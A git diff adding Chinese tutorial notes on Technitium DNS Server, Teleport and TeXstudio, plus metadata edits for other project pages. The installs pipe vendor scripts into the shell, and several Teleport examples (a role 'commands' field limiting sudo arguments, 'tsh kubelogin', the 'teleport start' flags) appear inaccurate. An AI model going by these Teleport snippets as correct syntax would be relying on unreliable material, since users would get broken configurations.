+- **自动化**：Web 控制台调用的 REST API 与脚本、CI、Ansible 等同源——控制台能点的，API 都能做（见 [APIDOCS.md](https://github.com/TechnitiumSoftware/DnsServer/blob/master/APIDOCS.md)）
+
+同类方案还有 Pi-hole（更偏「拦截 + 统计」）、AdGuard Home、dnsmasq + 手工配置。Technitium 的特点是把 **权威、递归、DHCP、集群、DNS Apps** 收进一个带 GUI 和 API 的二进制里，适合想「一台服务管全网 DNS」的场景。
+
+## 核心概念
+
+### 1. 权威 vs 递归 vs 转发
+
+| 模式 | 做什么 | 典型用途 |
+|------|--------|----------|
+| **权威（Authoritative）** | 你托管的 zone 由本机「说了算」 | `home.lan`、`staging.myapp.local` |
+| **递归（Recursive）** | 从根服务器一路问到真实答案 | 家里设备查 `github.com` |
+| **转发（Forwarder）** | 不自己递归，把查询转给上游（可配 DoH URL） | 统一走 `https://cloudflare-dns.com/dns-query` |
+
+Zone 类型还包括 **Secondary**（从主区同步）、**Stub**（跟踪 NS）、**Conditional Forwarder**（按域名选不同上游）。
+
+### 2. 缓存与「热数据」
+
+Technitium 会按记录 TTL 缓存答案，并支持：
+
+- **Serve Stale**：上游暂时不可达时，最多约 3 天内仍返回过期缓存（「陈面包总比没面包好」）
+- **Prefetch / Auto Prefetch**：热门记录在 TTL 将尽前后台刷新，降低延迟尖刺
+- **Negative Caching**：NXDOMAIN 也会缓存，避免对不存在域名反复打上游
+
+Dashboard 上的 **Cached** 比例越高，说明越多查询没离开本机。
+
+### 3. Blocked Zone / Block List / Allowed Zone
+
+- **Blocked Zone**：手工拉黑域名
+- **Block List Zone**：从一个或多个 URL 拉取列表（如 StevenBlack hosts），每日更新
+- **Allowed Zone**：在黑名单里的例外（例如拦截全网广告但放行 `ads.example.com`）
+
+拦截 A 记录时默认解析到 `0.0.0.0`；统计里的 **Blocked** 计数即此类响应。
+
+### 4. 监听端点与安全协议
+
+默认 **DNS Local End Points**：`0.0.0.0:53` 与 `[::]:53`（全网卡）。若只想服务某一网段，可改成该网卡 IP。
+
+常见端口（安装后需在防火墙放行）：
+
+| 端口 | 用途 |
+|------|------|
+| 53 udp/tcp | 标准 DNS |
+| 5380 tcp | Web 控制台 HTTP |
+| 53443 tcp | Web 控制台 HTTPS |
+| 853 tcp/udp | DNS-over-TLS / DoQ |
+| 443 tcp/udp | DNS-over-HTTPS |
+| 67 udp | 内置 DHCP（可选） |
+
+自 v15 起，需登录的 HTTP API 要在 `Authorization: Bearer <token>` 里带会话或 API Token。
+
+### 5. DNS Apps 与集群
+
+- **DNS Apps**：类似「跑在 DNS 服务器上的插件」，通过 zone 里的 `APP` 记录把查询交给指定 App 处理（商店里含高级正则拦截等）
+- **Clustering**：多实例从一个 Web 控制台管理，适合冗余与分担读负载（升级时先升 secondary 再升 primary）
+
+### 6. 内置 DHCP
+
+与 DNS 集成：给 scope 配域名选项后，可为客户端自动写正向/反向记录——小网络「一台树莓派管 DHCP + DNS」即可落地。
+
+## 实践案例
+
+### 案例 1：Ubuntu 一键安装并让全网使用
+
+官方安装脚本（会装 .NET 运行时与 systemd 服务）：
+
+```bash
+# 安装或升级
+curl -sSL https://download.technitium.com/dns/install.sh | sudo bash
+
+# 防火墙示例（按发行版调整）
+sudo ufw allow 53/tcp
+sudo ufw allow 53/udp
+sudo ufw allow 5380/tcp
+```
+
+安装后浏览器打开 `http://<服务器IP>:5380/`，改密码，在 **Settings → DNS Settings** 里可配置 **Forwarders**，例如：
+
+```text
+https://cloudflare-dns.com/dns-query (1.1.1.1)
+```
+
+或传统 `1.1.1.1:53`。然后在路由器 DHCP 里把 **DNS 服务器** 指到这台机器的局域网 IP。
+
+**常见坑**：Ubuntu 上 `systemd-resolved` 或 `dnsmasq` 已占用 53 端口。日志会出现 `Address already in use`。需停用 stub resolver 或改 Technitium 只监听非 53 端口（不推荐家用场景）。
+
+### 案例 2：Docker Compose 部署
+
+官方镜像 `technitium/dns-server` 适合已有容器编排习惯的环境：
+
+```yaml
+# docker-compose.yml 精简示例
+services:
+  technitium-dns:
+    image: technitium/dns-server:latest
+    container_name: technitium-dns
+    restart: unless-stopped
+    ports:
+      - "53:53/udp"
+      - "53:53/tcp"
+      - "5380:5380/tcp"
+    volumes:
+      - ./config:/etc/dns
+    environment:
+      - DNS_SERVER_DOMAIN=dns.home
+```
+
+```bash
+docker compose up -d
+```
+
+宿主机 53 端口不能被其他服务占用。配置与 zone 文件持久化在挂载的 `config` 目录。
+
+### 案例 3：用 HTTP API 创建权威区并添加 A 记录
+
+先登录拿 token（v15+ 后续请求带 Bearer）：
+
+```bash
+# 登录（生产环境请改用 HTTPS 与强密码）
+TOKEN=$(curl -s "http://127.0.0.1:5380/api/user/login?user=admin&pass=YOUR_PASSWORD" \
+  | jq -r '.token')
+
+# 创建 Primary zone
+curl -s -H "Authorization: Bearer $TOKEN" \
+  "http://127.0.0.1:5380/api/zones/create?zone=dev.home&type=Primary"
+
+# 添加 A 记录：nas.dev.home -> 192.168.1.50
+curl -s -H "Authorization: Bearer $TOKEN" \
+  "http://127.0.0.1:5380/api/zones/records/add?domain=dev.home&name=nas&type=A&ttl=3600&ipAddress=192.168.1.50"
+```
+
+局域网设备把 DNS 指到 Technitium 后，即可解析 `nas.dev.home`，无需每台机器改 `/etc/hosts`。
+
+### 案例 4：Python 拉取统计并配置 Block List
+
+适合接入监控或 GitOps：
+
+```python
+import requests
+
+BASE = "http://192.168.1.10:5380"
+TOKEN = "your-api-token"  # 在 Web 控制台为用户创建 API Token
+headers = {"Authorization": f"Bearer {TOKEN}"}
+
+# 仪表盘 Top 统计
+stats = requests.get(f"{BASE}/api/dashboard/stats/get", headers=headers, timeout=10)
+stats.raise_for_status()
+print("total queries:", stats.json().get("totalQueries"))
+
+# 设置全局 block list URL（会合并进 Block List Zone，每日更新）
+payload = {
+    "blockListUrls": (
+        "https://raw.githubusercontent.com/StevenBlack/hosts/master/hosts"
+    ),
+}
+r = requests.post(
+    f"{BASE}/api/settings/set",
+    headers=headers,
+    data=payload,
+    timeout=30,
+)
+r.raise_for_status()
+print(r.json().get("status"))  # 期望 "ok"
+```
+
+API 与 Web 控制台行为一致；自动化账号建议单独建低权限用户再发 API Token。
+
+### 案例 5：条件转发内网 Active Directory DNS
+
+公司有 `corp.internal` 由 `10.0.0.5` 上的 Windows DNS 托管时：
+
+1. Web 控制台 **Add Zone** → 类型选 **Conditional Forwarder**
+2. Zone 名 `corp.internal`，转发器填 `10.0.0.5` 或 `10.0.0.5:53`
+3. 其余公网域名仍走 Settings 里的公共 Forwarder 或本机递归
+
+这样笔记本连 VPN 后只需一个 DNS 地址，公网与内网解析路径自动分流。
+
+## Dashboard 指标怎么读
+
+家用或小办公排障时，优先看：
+
+- **Server Failure** 突然升高：上游不可达、转发器超时（默认约 2s）、或本机无外网
+- **NX Domain** 某客户端异常高：可能恶意软件 DGA 域名探测，查该 IP 对应设备
+- **Blocked** 上升：拦截规则生效；若误杀，往 **Allowed Zone** 加例外
+- **Refused**：常因开启了「仅允许私网递归」却从公网收到递归请求
+
+## 与 Pi-hole / AdGuard Home 怎么选
+
+| 维度 | Technitium DNS Server | Pi-hole / AdGuard Home |
+|------|----------------------|------------------------|
+| 定位 | 全功能 DNS 服务器 + API | 偏 DNS 过滤与统计 |
+| 权威区 / 区传送 | 原生支持多种 zone 类型 | 较弱或需额外工具 |
+| DHCP | 内置 | 通常需外部 DHCP |
+| DoH/DoT 作为**服务器** | 支持 | AdGuard 支持；Pi-hole 依赖上游 |
+| 学习曲线 | 功能多，选项多 | 拦截场景上手更快 |
+
+若你主要想要「全家去广告」，三者都能胜任；若还要 **托管内网域名、条件转发、API 全自动**，Technitium 更对口。
+
+## 安全与运维建议
+
+1. **改默认密码**，Web 控制台尽量走 HTTPS（53443）或反代 + TLS
+2. **限制 5380 管理口** 仅管理网段可达；公网暴露 DNS 53 时要防放大攻击滥用（合理 ACL + `Allow Recursion Only For Private Networks`）
+3. **备份 `config` 目录**：zone 与设置都在其中；Docker 部署务必挂卷
+4. **集群升级顺序**：先 secondary，后 primary（官方文档强调）
+5. v13.4+ 依赖系统 **ICU 库**（`libicu`）；精简 Linux 发行版需手动安装
+
+## 延伸阅读
+
+- [官方 Help Topics](https://technitium.com/dns/help.html) — Dashboard、建区、条件转发、本地端点
+- [Ubuntu/Linux 安装博文](https://blog.technitium.com/2017/11/running-dns-server-on-ubuntu-linux.html) — 安装脚本、与 systemd-resolved 冲突处理
+- [HTTP API 文档 APIDOCS.md](https://github.com/TechnitiumSoftware/DnsServer/blob/master/APIDOCS.md) — 自动化全集
+- [Clustering 说明（2025）](https://blog.technitium.com/2025/11/understanding-clustering-and-how-to-configure-it.html)
+- 相关笔记：[[kubernetes]]（集群内常配 CoreDNS 作递归上游）、[[nginx]]（反代 Web 控制台）、[[docker]]（容器部署）
+
+## 小结
+
+Technitium DNS Server 把 **递归解析、权威托管、过滤、加密 DNS、DHCP、API** 集成到单一服务里。零基础路径可以是：树莓派或旧 PC 装脚本 → 路由器 DHCP 指向它 → Web 控制台加 block list → 需要开发域名时加 Primary zone。理解「权威 / 递归 / 转发 / 缓存 / 拦截」五层后，Dashboard 数字和 API 文档都会变得直观。
diff --git a/src/content/docs/projects/teleport-gravitational.md b/src/content/docs/projects/teleport-gravitational.md
new file mode 100644
index 000000000..76f75e5cb
--- /dev/null
+++ b/src/content/docs/projects/teleport-gravitational.md
@@ -0,0 +1,216 @@
+---
+title: Teleport — 零信任基础设施访问平台
+来源: https://github.com/gravitational/teleport
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+provenance: pipeline-v3
+---
+
+# Teleport — 零信任基础设施访问平台
+
+## 一、日常类比：万能智能门禁卡
+
+想象你在一栋巨大的写字楼里工作。这栋楼有几百间办公室（服务器）、几间机房（数据库）、几层楼的实验室（Kubernetes 集群），还有玻璃房（Windows 桌面）。
+
+传统做法是：给每个房间配一把不同的钥匙。服务器用 SSH 密钥，数据库有用户名密码，Kubernetes 有 token。这些钥匙一旦丢了、被复制了，或者员工离职了没收回，就全是安全隐患。而且你口袋里揣着一大串钥匙，管理起来非常痛苦。
+
+Teleport 做的事情就是：**把这一大串钥匙换成一张智能门禁卡**。这张卡有几个神奇特性：
+
+1. 每次刷门，卡会自动生成一把只在这个小时内有效的临时钥匙
+2. 进门时自动录像，谁在什么时间进了哪间房，清清楚楚
+3. 公司有人事系统（SSO），你入职时 IT 就给你发卡，离职时一键作废
+4. 不管你在楼外还是出差到外地，通过一个统一的入口就能到达任何房间
+
+这就是 Teleport 的核心价值：用一个统一的身份层，替代散落在各处的密钥和密码。
+
+## 二、核心概念
+
+### 2.1 Teleport 集群（Cluster）
+
+Teleport 的基本部署单元叫"集群"。一个最小集群包含两个服务：
+
+| 组件 | 作用 | 类比 |
+|------|------|------|
+| **Auth Service（认证服务）** | 管理用户身份、签发证书、维护审计日志 | 大楼的安保中心 |
+| **Proxy Service（代理服务）** | 接收外部连接请求，路由到内部资源 | 前台接待 + 电梯系统 |
+
+这两个服务通常跑在同一台机器上。生产环境中可以拆开到多台机器实现高可用。
+
+### 2.2 短寿命证书（Short-Lived Certificates）
+
+这是 Teleport 最核心的安全机制。传统 SSH 用永久的密钥对做认证，而 Teleport 用：
+
+- 用户登录后，Auth Service 签发一张限时证书（默认几小时）
+- 证书到期后自动失效，不需要手动轮换
+- 证书绑定用户身份和资源权限，无法转移给他人
+
+类比：就像酒店的房卡，退房后就失效了，不能下次再用。
+
+### 2.3 tsh 和 tctl 客户端
+
+Teleport 提供两个命令行工具：
+
+- **tsh**：普通用户使用，用来登录、连接服务器、管理会话
+- **tctl**：管理员使用，用来配置角色、管理用户、操作集群资源
+
+类比：tsh 像你的门禁刷卡器，tctl 像安保中心的后台管理系统。
+
+### 2.4 RBAC 角色（Roles）
+
+Teleport 使用基于角色的访问控制。角色定义了用户可以做什么，例如：
+
+- 能连接到哪些服务器
+- 能执行什么命令
+- 能看到哪些 Kubernetes 命名空间
+- 能否访问数据库
+
+默认情况下，没有任何权限。必须显式授予角色。
+
+### 2.5 受信任集群（Trusted Clusters）
+
+多个 Teleport 集群可以建立信任关系。根集群（root）的用户可以跨集群访问叶子集群（leaf）的资源，就像一张卡可以在连锁酒店的所有分店通用。
+
+## 三、支持的资源类型
+
+Teleport 不是只能管 SSH 服务器。它统一支持多种资源：
+
+- **SSH 服务器**：Linux/Unix 主机
+- **Kubernetes 集群**：用身份替代 kubeconfig token
+- **数据库**：PostgreSQL、MySQL、MongoDB、CockroachDB 等
+- **Windows 桌面**：通过 RDP 协议
+- **内部 Web 应用**：通过 Application Access
+- **云控制台**：AWS、Azure、GCP 控制台
+- **MCP 服务器**：面向 AI Agent 的安全接入
+
+## 四、代码示例
+
+### 4.1 安装并启动 Teleport
+
+最简单的单机部署方式（社区版）：
+
+```bash
+# 下载 Teleport 二进制文件（以 Linux amd64 为例）
+curl https://get.teleport.dev -sSfL | sh
+
+# 创建数据目录
+sudo mkdir -p -m0700 /var/lib/teleport
+sudo chown $USER /var/lib/teleport
+
+# 以单节点模式启动（包含 Auth + Proxy + SSH 服务）
+teleport start --auth=token=<join-token> --proxy --ssh --ca-pin=sha256:xxxxxxxx
+```
+
+启动后，Teleport 会监听：
+- 443 端口：Web UI 和代理入口
+- 3023 端口：SSH 连接
+- 3025 端口：客户端到代理的 gRPC 连接
+
+### 4.2 使用 tsh 登录和连接服务器
+
+```bash
+# 1. 登录 Teleport 集群（会触发 MFA 验证）
+tsh login --proxy=teleport.example.com --user=jason
+
+# 2. 查看当前可用的服务器列表
+tsh nodes
+
+# 3. 连接到某台服务器（自动使用临时证书认证，无需 SSH 密钥）
+tsh ssh jason@web-server-01
+
+# 4. 查看活跃会话（多人可以同时连接到同一台服务器）
+tsh sessions
+
+# 5. 回放某个会话的录制内容
+tsh sessions read <session-id>
+```
+
+整个过程不需要配置 SSH 密钥。你的身份由 Teleport 的证书系统管理，登录一次后获得短期证书，后续所有连接都用这个证书。
+
+### 4.3 配置 RBAC 角色
+
+使用 `tctl` 定义一个角色，限制用户只能访问特定服务器：
+
+```yaml
+# roles/dev-role.yaml
+kind: role
+version: v5
+metadata:
+  name: dev-role
+spec:
+  # 允许登录的用户名规则
+  allow:
+    logins:
+      - ubuntu        # 只能以 ubuntu 用户登录
+      - ec2-user      # 也可以以 ec2-user 登录
+    node_labels:
+      env: dev-*      # 只能访问标签为 dev- 开头的节点
+    commands:
+      - program: sudo
+        # 允许执行 sudo，但限制具体命令
+        args: ['tail', '-f', '*']
+    roles:
+      - access         # 赋予基本的访问角色
+      - editor          # 赋予编辑器角色
+```
+
+应用这个角色：
+
+```bash
+# 创建角色资源
+tctl create roles/dev-role.yaml
+
+# 把这个角色分配给用户
+tctl users update jason --roles=dev-role,access
+```
+
+### 4.4 连接 Kubernetes 集群
+
+Teleport 可以替代 kubeconfig 来访问 K8s：
+
+```bash
+# 1. 登录 Teleport 集群
+tsh login --proxy=teleport.example.com
+
+# 2. 将 K8s 的 kubeconfig 导出到 Teleport 管理的证书
+tsh kubelogin <cluster-name> --k8s=production
+
+# 3. 现在 kubectl 命令自动使用 Teleport 签发的短期证书
+kubectl get pods --namespace=default
+
+# 4. 也可以直接用 tsh 执行 kubectl 命令
+tsh kubectl get pods --namespace=default
+```
+
+好处：不需要分发和维护 kubeconfig 文件，也不需要定期轮换 token。所有 K8s 访问都通过 Teleport 的身份系统统一管理，并且有完整的审计记录。
+
+## 五、与传统方案的对比
+
+| 场景 | 传统做法 | Teleport 做法 |
+|------|----------|---------------|
+| SSH 登录 | 分发和管理 SSH 公钥 | 登录一次，自动签发短期证书 |
+| K8s 访问 | kubeconfig + token，需要轮换 | Teleport 证书自动管理 |
+| 数据库凭证 | 硬编码密码或使用 Vault | Teleport 自动注入短期凭据 |
+| 堡垒机 | 单独搭建跳板机，网络暴露多 | Proxy 只需暴露 443，反向隧道穿透防火墙 |
+| 审计 | 各系统各自记录，难以关联 | 统一审计日志，所有会话录制 |
+| MFA | 各系统分别配置 | 统一 MFA，一次配置全局生效 |
+
+## 六、为什么值得学
+
+Teleport 解决的是现代基础设施中最根本的问题：**谁，在什么时候，以什么身份，访问了什么资源**。
+
+随着云原生、混合云、远程办公的普及，传统的边界防护（防火墙、VPN）已经不够用了。零信任架构的理念是"从不信任，始终验证"——Teleport 恰好提供了落地这套理念的工具集。
+
+对于初学者来说，理解 Teleport 有助于建立几个关键认知：
+
+1. 证书比密钥更适合做身份认证（有期限、可撤销）
+2. 统一身份层比分散的凭证管理更安全
+3. 审计不是事后补救，而是安全架构的基石
+4. 最小权限原则可以通过 RBAC 自动化落地
+
+## 七、延伸阅读
+
+- 官方文档：https://goteleport.com/docs/
+- 架构参考：https://goteleport.com/docs/reference/architecture/
+- RBAC 入门：https://goteleport.com/docs/zero-trust-access/rbac-get-started/
+- GitHub 仓库：https://github.com/gravitational/teleport （20.5k Star）
diff --git a/src/content/docs/projects/tempo.md b/src/content/docs/projects/tempo.md
index 709f50f05..ed135d8f0 100644
--- a/src/content/docs/projects/tempo.md
+++ b/src/content/docs/projects/tempo.md
@@ -2,7 +2,7 @@
 title: Tempo — 把分布式追踪扔进 S3 的开源后端
 来源: https://github.com/grafana/tempo
 日期: 2026-06-01
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/temporal.md b/src/content/docs/projects/temporal.md
index b269de9dd..b9ff88fe7 100644
--- a/src/content/docs/projects/temporal.md
+++ b/src/content/docs/projects/temporal.md
@@ -2,7 +2,7 @@
 title: Temporal — 持久化工作流引擎
 来源: https://github.com/temporalio/temporal
 日期: 2026-05-29
-子分类: Web 后端
+子分类: cloud-native
 分类: 后端 API
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/terraform.md b/src/content/docs/projects/terraform.md
index 7a14cbbe2..7a3a2f982 100644
--- a/src/content/docs/projects/terraform.md
+++ b/src/content/docs/projects/terraform.md
@@ -2,7 +2,7 @@
 title: Terraform — 基础设施即代码
 来源: https://github.com/hashicorp/terraform
 日期: 2026-05-29
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/texstudio.md b/src/content/docs/projects/texstudio.md
new file mode 100644
index 000000000..e51cba5e4
--- /dev/null
+++ b/src/content/docs/projects/texstudio.md
@@ -0,0 +1,304 @@
+---
+title: TeXstudio — LaTeX 集成写作环境
+来源: https://github.com/texstudio-org/texstudio
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：专业排版厨房 + 带预览窗的食谱编辑器
+
+想象你要做一本正式出版的菜谱：不能像在 Word 里随手改字号，而必须按 **排版规则**（章节、标题层级、公式、参考文献）把内容交给 **印刷机**（LaTeX 编译器）印成 PDF。TeXstudio 就像一间 **专为 LaTeX 设计的厨房**——左边是你写 `.tex` 食谱的工作台，右边是 **实时预览窗** 让你看到成品长什么样；中间还有 **自动补全** 帮你记 `\section`、`\cite` 这类「专业术语」，以及 **结构视图** 像目录一样帮你在大文档里跳转。
+
+**TeXstudio**（[texstudio-org/texstudio](https://github.com/texstudio-org/texstudio)）是开源的 **LaTeX 集成写作环境（IDE）**，用 Qt 实现，跨 Windows / Linux / macOS。它 **不包含** TeX 发行版本身——你需要单独安装 **TeX Live**、**MiKTeX** 或 MacTeX；TeXstudio 负责编辑、编译调度、错误定位、PDF 同步预览与写作辅助。当前稳定版约 **4.9.x**，GitHub 星标约 3.4k，GPL-2.0 许可。
+
+零基础路径：**安装 TeX 发行版 + TeXstudio → 用 Quick Start 向导建第一篇文档 → F6 编译、F7 预览 → 试公式/参考文献/多文件项目**。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：纯文本编辑器不懂 LaTeX 语义
+
+在 Vim / VS Code 里写 `\begin{equation}`，括号不匹配、环境没闭合，往往要编译失败后才在 log 里找行号。TeXstudio 提供 **语法高亮、结构视图、交互式语法检查、错误/警告列表面板**，并在编辑器内 **跳转到 log 对应位置**，把「编译后才发现」变成「边写边提示」。
+
+### 痛点 2：LaTeX 命令太多，记不住
+
+`\usepackage`、数学符号、交叉引用命令成千上万。TeXstudio 的 **自动补全（Autocomplete）** 在你输入 `\` 时弹出命令列表并带 tooltip 说明；对 `\ref`、`\cite` 还能补全 **标签名与文献键**。左侧 **符号面板** 可收藏常用数学符号，点一下插入 `\alpha`、`\sum` 等。
+
+### 痛点 3：写源码与看 PDF 来回切换打断心流
+
+内置 **PDF 查看器** 支持 **SyncTeX**：源码光标在哪，预览就滚到哪；在 PDF 里 **Ctrl+左键** 可跳回对应源码行。公式与代码段还有 **行内实时预览（Preview）**，不必每次整篇编译才能看一个小公式。
+
+### 痛点 4：论文/书籍往往是多文件 + 多次编译
+
+长项目常用 `\input{}` 分章、用 `biblatex`/`biber` 管理参考文献、用 `latexmk` 自动跑多遍。TeXstudio 的 **构建系统（Build System）** 可配置默认链：`pdflatex` → `bibtex`/`biber` → 再 `pdflatex`，或一键 **latexmk**；也支持 **独立构建目录** 把辅助文件 `.aux/.log` 与源码分离。
+
+---
+
+## 核心概念拆解
+
+### 1. 编辑器 vs 编译器：分工明确
+
+| 组件 | 谁提供 | 做什么 |
+|------|--------|--------|
+| **TeXstudio** | 本软件 | 编辑 `.tex`、补全、预览 UI、调用外部命令 |
+| **TeX 发行版** | TeX Live / MiKTeX 等 | `pdflatex`、`xelatex`、`lualatex`、`bibtex`、`biber`… |
+| **输出** | 编译产物 | 主要是 PDF（也可 DVI、SyncTeX 辅助文件） |
+
+记住：**F6 编译** 不是 TeXstudio 自己排版，而是它在磁盘上调用你配置的 `pdflatex` 等程序。
+
+### 2. 界面布局：四块常用区域
+
+- **中央编辑区**：多标签打开多个 `.tex`；支持 **多光标**、**列编辑**、代码折叠。
+- **左侧结构视图（Structure View）**：解析 `\part`、`\section`、`\label` 等，点击跳转；比纯行号更抗插入/删除行。
+- **下方消息/日志/预览/搜索结果面板**：编译输出、错误列表、内嵌 PDF 或外部查看器。
+- **工具栏与「LaTeX」菜单**：插入 `\section`、表格向导、 `\includegraphics`、数学环境等——适合还不熟命令的新手。
+
+### 3. 文档结构：导言区与正文
+
+LaTeX 文件典型骨架：
+
+```latex
+\documentclass[11pt,a4paper]{article}  % 文档类
+\usepackage[utf8]{inputenc}            % 导言区：宏包与设置
+\usepackage{amsmath}
+\title{我的第一篇笔记}
+\author{学习者}
+\date{\today}
+
+\begin{document}   % 正文开始
+\maketitle
+\section{引言}
+你好，\LaTeX。
+\end{document}
+```
+
+**Quick Start 向导**（菜单 `Wizards → Quick Start...`）帮你生成上述骨架，避免漏 `\begin{document}`。
+
+### 4. 编译与预览快捷键
+
+| 操作 | 默认快捷键 | 说明 |
+|------|------------|------|
+| **Compile** | `F6` | 运行默认 PDF 链（常为 `pdflatex`） |
+| **View** | `F7` | 打开/刷新 PDF，并同步到光标位置 |
+| **Build & View** | `F5` | 编译后立即查看 |
+| **Quick Build** | `F1` | 可自定义的一键构建 |
+
+首次编译前务必 **Ctrl+S 保存** `.tex`，否则磁盘上没有文件可供编译。
+
+### 5. 自动补全与命令描述（cwl）
+
+TeXstudio 用 **`.cwl`（completion word list）** 文件描述各宏包提供的命令，供补全与语法检查。安装新宏包后，若补全不全，可在 `Options → Configure TeXstudio → Completion` 中检查；高级用户也可编写自定义 cwl（见官方文档 *Description of the cwl format*）。
+
+### 6. 构建系统（Build System）
+
+在 `Options → Configure TeXstudio → Build` 中配置：
+
+- **Default Compiler**：`PdfLaTeX`、`XeLaTeX`（中文常配合 `ctex`）、`LuaLaTeX`
+- **Default Bibliography Tool**：`BibTeX` 或 `biber`
+- **Default Index Tool**：`makeindex` / `xindy`
+- **Build & View**：编译后内嵌查看还是外部 SumatraPDF / Skim 等（SyncTeX 对外部查看器也常用）
+
+**latexmk** 适合「我不知道要跑几遍」的场景，由它自动判断 reruns。
+
+### 7. 多文件项目与 `\input` / `\include`
+
+大论文可拆成：
+
+```latex
+% main.tex
+\documentclass{report}
+\usepackage{graphicx}
+\begin{document}
+\include{chapters/intro}
+\include{chapters/method}
+\bibliography{refs}
+\end{document}
+```
+
+TeXstudio 的 **Master document** 概念：指定主文件后，从任意子文件按 **F6** 都会编译整本书。`Options → Define current document as Master Document` 可设置。
+
+### 8. 魔法注释（Magic Comments）
+
+在文件开头写特殊注释，TeXstudio 会按文件单独配置，例如：
+
+```latex
+% !TeX program = xelatex
+% !TeX encoding = UTF-8
+% !TeX spellcheck = en_US
+```
+
+这对 **中英混排**（一篇英文、一篇中文）特别有用，不必全局改编译引擎或拼写语言。
+
+### 9. 模板、宏与会话
+
+- **模板**：`File → New from template` 或自建 `File → Make Template`
+- **个人宏**：`Macros → Edit Macros`，可插入固定片段或小型脚本
+- **Session（.txss2）**：退出时保存打开的文件与布局，下次恢复写作现场
+
+### 10. 进阶：Git、AI 助手、协作
+
+- **Git/SVN**：内置版本控制面板（视版本而定）
+- **AI Chat**（4.x）：`Wizards → AI chat...`，需自行配置 API（Mistral、OpenRouter 等），可基于选中文本生成或改写 LaTeX——注意隐私与费用
+- **协作编辑**：实验性 pair programming 支持（见官方 *Collaborative Editing*）
+
+---
+
+## 从零上手：第一篇可编译文档
+
+### 步骤 1：安装依赖
+
+1. 安装 **TeX Live**（Linux/macOS 常用）或 **MiKTeX**（Windows 常用，按需装包）
+2. 从 [texstudio.org](https://www.texstudio.org/) 或发行版仓库安装 TeXstudio
+3. 打开 TeXstudio，`Options → Configure TeXstudio → Commands`，确认 `pdflatex` 等路径被 **自动检测**（Detect automatically）
+
+### 步骤 2：用向导创建并保存
+
+`Wizards → Quick Start...` → 选 `article`、UTF-8 → 保存为 `hello.tex`。
+
+### 步骤 3：写入内容与公式
+
+在 `\maketitle` 后插入一节与公式（可用菜单 `Math → Insert Equation` 或 `Ctrl+Shift+N`）：
+
+```latex
+\section{动机}
+TeXstudio 让 \LaTeX{} 写作更接近现代 IDE 体验。
+
+\begin{equation}
+  E = mc^2
+  \label{eq:einstein}
+\end{equation}
+式 \eqref{eq:einstein} 是经典关系。
+```
+
+### 步骤 4：编译与 SyncTeX
+
+按 **F6**，若无错误，按 **F7** 在右侧看 PDF；点击 PDF 中的公式，应跳回 `\label{eq:einstein}` 附近。
+
+---
+
+## 示例 2：中文文档 + 参考文献（XeLaTeX + biblatex）
+
+中文论文常选 **XeLaTeX + ctex + biber**。`main.tex`：
+
+```latex
+% !TeX program = xelatex
+\documentclass[UTF8,a4paper]{ctexart}
+\usepackage{hyperref}
+\usepackage[backend=biber,style=gb7714-2015]{biblatex}
+\addbibresource{refs.bib}
+
+\title{TeXstudio 学习笔记}
+\author{你的名字}
+\date{2026-06-13}
+
+\begin{document}
+\maketitle
+
+\section{简介}
+LaTeX 适合正式排版\cite{lamport1994latex}。
+
+\printbibliography
+\end{document}
+```
+
+`refs.bib`：
+
+```bibtex
+@book{lamport1994latex,
+  title   = {LaTeX: A Document Preparation System},
+  author  = {Lamport, Leslie},
+  year    = {1994},
+  publisher = {Addison-Wesley}
+}
+```
+
+在 TeXstudio 中：
+
+1. 将 `% !TeX program = xelatex` 放在主文件首行（或在 Build 里把默认编译器改为 XeLaTeX）
+2. `Options → Build` 里 **Default Bibliography Tool** 选 **biber**
+3. 使用 **Tools → Commands → Bibliography** 或配置构建链：`xelatex → biber → xelatex → xelatex`
+4. **F6 / F5** 编译后，参考文献应出现在文末
+
+若 `gb7714-2015` 未安装，可改用 `style=numeric` 或安装相应宏包。
+
+---
+
+## 与其他工具怎么选
+
+| 工具 | 定位 | 与 TeXstudio 关系 |
+|------|------|-------------------|
+| **TeXworks** | 轻量 TeX 编辑器 | 更简，少 IDE 功能；TeXstudio 受其启发 |
+| **Overleaf** | 在线协作 LaTeX | 零本地安装；TeXstudio 适合离线、大项目、自定义宏 |
+| **VS Code + LaTeX Workshop** | 通用编辑器 + 插件 | 极客向；TeXstudio 开箱即用的 LaTeX 向导更多 |
+| **LyX** | 可视化 LaTeX | 所见即所得；TeXstudio 坚持 **源码优先** |
+
+若你已经是程序员、仓库里全是 `.tex` 和 Makefile，VS Code 可能更顺；若你希望 **向导、符号面板、内置 PDF 同步** 一条龙，TeXstudio 更省心。
+
+---
+
+## 常见问题与排查
+
+### 编译报错「File not found」
+
+- 是否保存了文件？路径是否含中文或空格（老环境偶发问题）？
+- `\includegraphics{figures/a}` 是否少了扩展名而编译选项不允许自动推断？
+
+### 中文乱码或无法编译
+
+- 用 **XeLaTeX 或 LuaLaTeX + ctex/xeCJK**，不要对中文正文仅用 `pdflatex` + `inputenc`
+- 文件编码设为 **UTF-8**（`Editor` 与 `% !TeX encoding` 一致）
+
+### 参考文献空白
+
+- 是否跑了 **biber/bibtex** 第二遍？
+- `\addbibresource` 路径是否正确？Bib 键是否与 `\cite{key}` 一致？
+
+### SyncTeX 不跳转
+
+- 编译选项需带 `-synctex=1`（TeXstudio 默认链通常已包含）
+- 外部 PDF 查看器需在 `Configure → Commands → PDF Viewer` 中正确配置
+
+---
+
+## 配置建议（入门默认即可）
+
+1. **Editor → Editor Font Encoding**：UTF-8
+2. **Build → Default Compiler**：中文项目选 XeLaTeX，英文 article 可用 PdfLaTeX
+3. **Build → PDF Viewer**：Internal PDF Viewer（简单）或 External（功能更强）
+4. **Editor → Show Line Numbers**：长文建议开启
+5. **Shortcuts**：记住 `F5/F6/F7` 比改菜单更快
+
+暗色主题：官方正在完善 Dark mode；社区有导入 `formatsDark` 的配色方案（见 GitHub Wiki *Tips And Tricks*）。
+
+---
+
+## 学习路线建议
+
+| 阶段 | 目标 | 在 TeXstudio 里练什么 |
